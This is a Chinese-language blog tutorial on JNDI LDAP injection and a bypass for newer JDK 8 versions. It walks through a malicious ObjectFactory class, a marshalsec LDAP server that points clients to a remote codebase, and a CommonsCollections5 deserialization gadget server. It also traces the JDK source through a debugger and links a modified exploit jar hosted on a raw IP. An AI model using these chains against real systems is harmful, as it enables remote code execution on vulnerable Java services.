JNDI注入和JNDI注入Bypass

  之前分析了fastjson,jackson,都依賴於JDNI注入,即LDAP/RMI等僞協議

  JNDI RMI基礎和fastjson低版本的分析:https://www.cnblogs.com/piaomiaohongchen/p/14780351.html

  今天圍繞JNDI LDAP注入,RMI先不搞了.

  一圖勝千言:

    圖片是偷的threezh1的:    

 看這個圖,就感覺很清晰.

  測試ldap攻擊:jdk版本選擇:jdk8u73 ,測試環境Mac OS

  jdk8系列各個版本下載大全:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

  惡意類:Exploit.java:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.io.Serializable;
import java.util.Hashtable;

public class Exploit implements ObjectFactory, Serializable {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        }catch (IOException e){
            e.printStackTrace();
        }

    }

    public static void main(String[] args){
        Exploit exploit = new Exploit();
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

 

  編譯成class文件即可.

  使用marshalsec構建ldap服務,服務端監聽:

  

/root/jdk-14.0.2/bin/java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://119.45.227.86/#Exploit 6666

 

  

 

 

 

  客戶端發起ldap請求:

  客戶端代碼:

    

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIClient {
    public static void main(String[] args) throws NamingException {
        new InitialContext().lookup("ldap://119.45.227.86:6666/a");
    }
}

 

 

 

  坑:可能客戶端都是jdk8u73,但是發現不能ldap命令執行,八成是vps的原因,對Exploit.java文件編譯,要使用較低版本的jdk,我這裏編譯Exploit.java文件,使用的jdk版本是:

  

  如果你是用jdk>8的版本編譯,然後運行ldap服務,是不能執行命令成功的,因爲客戶端是1.8*版本,請求的class是>1.8的,是不可以的,jdk是向下兼容的,所以建議惡意類文件編譯採用jdk<=1.8版本,爲了穩定期間選擇我這裏jdk1.6.

  jndi ldap執行命令原理分析刨析:

    debug:

    

 

  跟進去,深入跟蹤函數一直到這裏:

  getObjectFactoryFromReference: 

  文件地址:/Library/Java/JavaVirtualMachines/jdk1.8.0_73.jdk/Contents/Home/jre/lib/rt.jar!/javax/naming/spi/NamingManager.class:

  可通過反射加載進去單獨設置debug:   

 

 

static ObjectFactory getObjectFactoryFromReference(
        Reference ref, String factoryName)
        throws IllegalAccessException,
        InstantiationException,
        MalformedURLException {
        Class<?> clas = null;

        // Try to use current class loader
        try {
             clas = helper.loadClass(factoryName);
        } catch (ClassNotFoundException e) {
            // ignore and continue
            // e.printStackTrace();
        }
        // All other exceptions are passed up.

        // Not in class path; try to use codebase
        String codebase;
        if (clas == null &&
                (codebase = ref.getFactoryClassLocation()) != null) {
            try {
                clas = helper.loadClass(factoryName, codebase);
            } catch (ClassNotFoundException e) {
            }
        }

        return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    }

 

 先看註釋:

  繼續debug:

  如果是本地的class文件加載:

  

 

  就直接loadClass加載本地class文件即可.

  但是我們這裏是客戶端遠程加載ldap地址:

  

 

 

  走這個邏輯:

  

 

 

  發現多了個codebase:

  跟進loadClass:

  

 

 

   查看debug視圖頁面:

  

 

   codebase是我們的ldap的地址:

    

 

 

  最後返回:

    

 

  觸發命令執行:

   

  通過上面debug知道codebase是個url地址,那麼什麼是codebase呢?

  

簡單說,codebase就是遠程裝載類的路徑。當對象發送者序列化對象時,會在序列化流中附加上codebase的信息。 這個信息告訴接收方到什麼地方尋找該對象的執行代碼。

你要弄清楚哪個設置codebase,而哪個使用codebase。任何程序假如發送一個對方可能沒有的新類對象時就要設置codebase(例如jdk的類對象,就不用設置codebase)。 

codebase實際上是一個url表,在該url下有接受方需要下載的類文件。假如你不設置codebase,那麼你就不能把一個對象傳遞給本地沒有該對象類文件的程序。 

 

  可以這麼說jndi ldap遠程加載本質上就是:codebase+classname 

  

  提高jdk版本爲:jdk8u191:

  再次客戶端發起ldap請求:

   

 

 

  會發現,有ldap請求,但是沒有命令執行成功:

  開啓debug進去看看:

    回到老地方:

  getObjectFactoryFromReference: 

  文件地址:/Library/Java/JavaVirtualMachines/jdk1.8.0_73.jdk/Contents/Home/jre/lib/rt.jar!/javax/naming/spi/NamingManager.class:

 

 

  跟進loadClass:
  

 

 

  多了一個判斷:

  貼代碼:

    

 public Class<?> loadClass(String className, String codebase)
            throws ClassNotFoundException, MalformedURLException {
        if ("true".equalsIgnoreCase(trustURLCodebase)) {
            ClassLoader parent = getContextClassLoader();
            ClassLoader cl =
                    URLClassLoader.newInstance(getUrlArray(codebase), parent);

            return loadClass(className, cl);
        } else {
            return null;
        }
    }

  直接走了else,不能在反射實例化了..  

 

 gg了,默認情況下,trustURLCodebase=false,如果還想jdni ldap命令執行成功,就要想辦法讓trustURLCodebase=true:

    

  網上已經給瞭解決方案來看看:

    來試一把:

  依賴環境:

    

      <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>3.1.1</version>
        </dependency>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

 

    LdapServer.java:

package com.test.fastjson.jndi;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) throws Exception{
        String[] args=new String[]{"http://119.45.227.86/#Exploit"};
        int port = 7777;

        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen", //$NON-NLS-1$
                InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                port,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()));

        config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
        System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
        ds.startListening();
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }

            e.addAttribute("javaSerializedData",CommonsCollections5());

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }

    private static byte[] CommonsCollections5() throws Exception{
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map map=new HashMap();
        Map lazyMap=LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
        Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException,tiedMapEntry);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(badAttributeValueExpException);
        objectOutputStream.close();

        return byteArrayOutputStream.toByteArray();
    }
}

 

   運行LdapServer.java,啓動服務端:

    

 

 

  客戶端調用ldap: 

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIClient {
    public static void main(String[] args) throws NamingException {
        new InitialContext().lookup("ldap://127.0.0.1:7777/a");
    }
}

     

 

  成功執行命令,bypass trustURLCodebase=false的修復方案,debug下,看看是怎麼導致命令執行的:

  debug跟進函數,看比較重要的文件:

  /Library/Java/JavaVirtualMachines/jdk1.8.0_191.jdk/Contents/Home/jre/lib/rt.jar!/com/sun/jndi/ldap/LdapCtx.class

 

 

  摘出代碼:

  

if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
                var3 = Obj.decodeObject((Attributes)var4);
            }

  發現會判斷獲取到數組的第二個位置的值,是否爲空,不爲空就走Obj.decodeObject:

  跟進decodeObject:

  查看JAVA_ATTRIBUTES:

 

 

 把元素都存儲在了數組中,可以把他們理解成這是key,get(*),獲取的是值,就是value:

   把debug重要部分代碼貼出來:

  

static Object decodeObject(Attributes var0) throws NamingException {
        String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

        try {
            Attribute var1;
            if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
                ClassLoader var3 = helper.getURLClassLoader(var2);
                return deserializeObject((byte[])((byte[])var1.get()), var3);
            } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
                return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
            } else {
                var1 = var0.get(JAVA_ATTRIBUTES[0]);
                return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
            }
        } catch (IOException var5) {
            NamingException var4 = new NamingException();
            var4.setRootCause(var5);
            throw var4;
        }
    }

  獲取數組第四個元素就是java codebase即ldap地址:

  繼續往下:

  

 

 

  debug發現value是:

  JAVA_ATTRIBUTES[1]=javaserializeddata -> {LdapAttribute@893} "javaSerializedData: [B@66d2e7d9"

  var2=java codebase,classloader加載的是codebase:

  跟進去:

 

   重中之重:/Library/Java/JavaVirtualMachines/jdk1.8.0_191.jdk/Contents/Home/jre/lib/rt.jar!/com/sun/jndi/ldap/VersionHelper12.class

  文件位置:  

 ClassLoader getURLClassLoader(String[] var1) throws MalformedURLException {
        ClassLoader var2 = this.getContextClassLoader();
        return (ClassLoader)(var1 != null && "true".equalsIgnoreCase(trustURLCodebase) ? URLClassLoader.newInstance(getUrlArray(var1), var2) : var2);
    }

  如果var1不爲空,設置trustURLCodebase=true!!!

   這樣他又可以classloader加載了!

  

 

  下一步走到這裏,反序列化codebase:

 

 

   

  跟進desrializeObject方法,調用readObject,觸發rce:

 

  

 

 

 

  爲了走我們debug的流程觸發rce,所以exp裏面需要給屬性設置內容

  

 

 

   設置的值是反射加載調用實例化:

 

 

  

  改造exp:讓我們更方便的進行jdk高版本下的jndi ldap利用:

  演示效果,實現自定義惡意類定義+自定義ldap端口:

  vps上監聽:

java -jar Java_Test.jar http://119.45.227.86/#Exploit 1234

 

 

 

  客戶端發起遠程ladp請求:

  

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIClient {
    public static void main(String[] args) throws NamingException {
        new InitialContext().lookup("ldap://119.45.227.86:1234/a");
    }
}

 

 

 

 如果想反彈shell,在自己vps上寫個反彈shell的惡意類,編譯後,遠程加載,即可反彈shell

  bypass jar包下載地址:http://119.45.227.86/hello.zip

  關於jndi jdk高版本bypass其他方法,等我有時間,再來補全!累了!

 jdni注入學習參考:https://threezh1.com/2021/01/02/JAVA_JNDI_Learn/#RMI%E4%B8%8ELDAP        

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章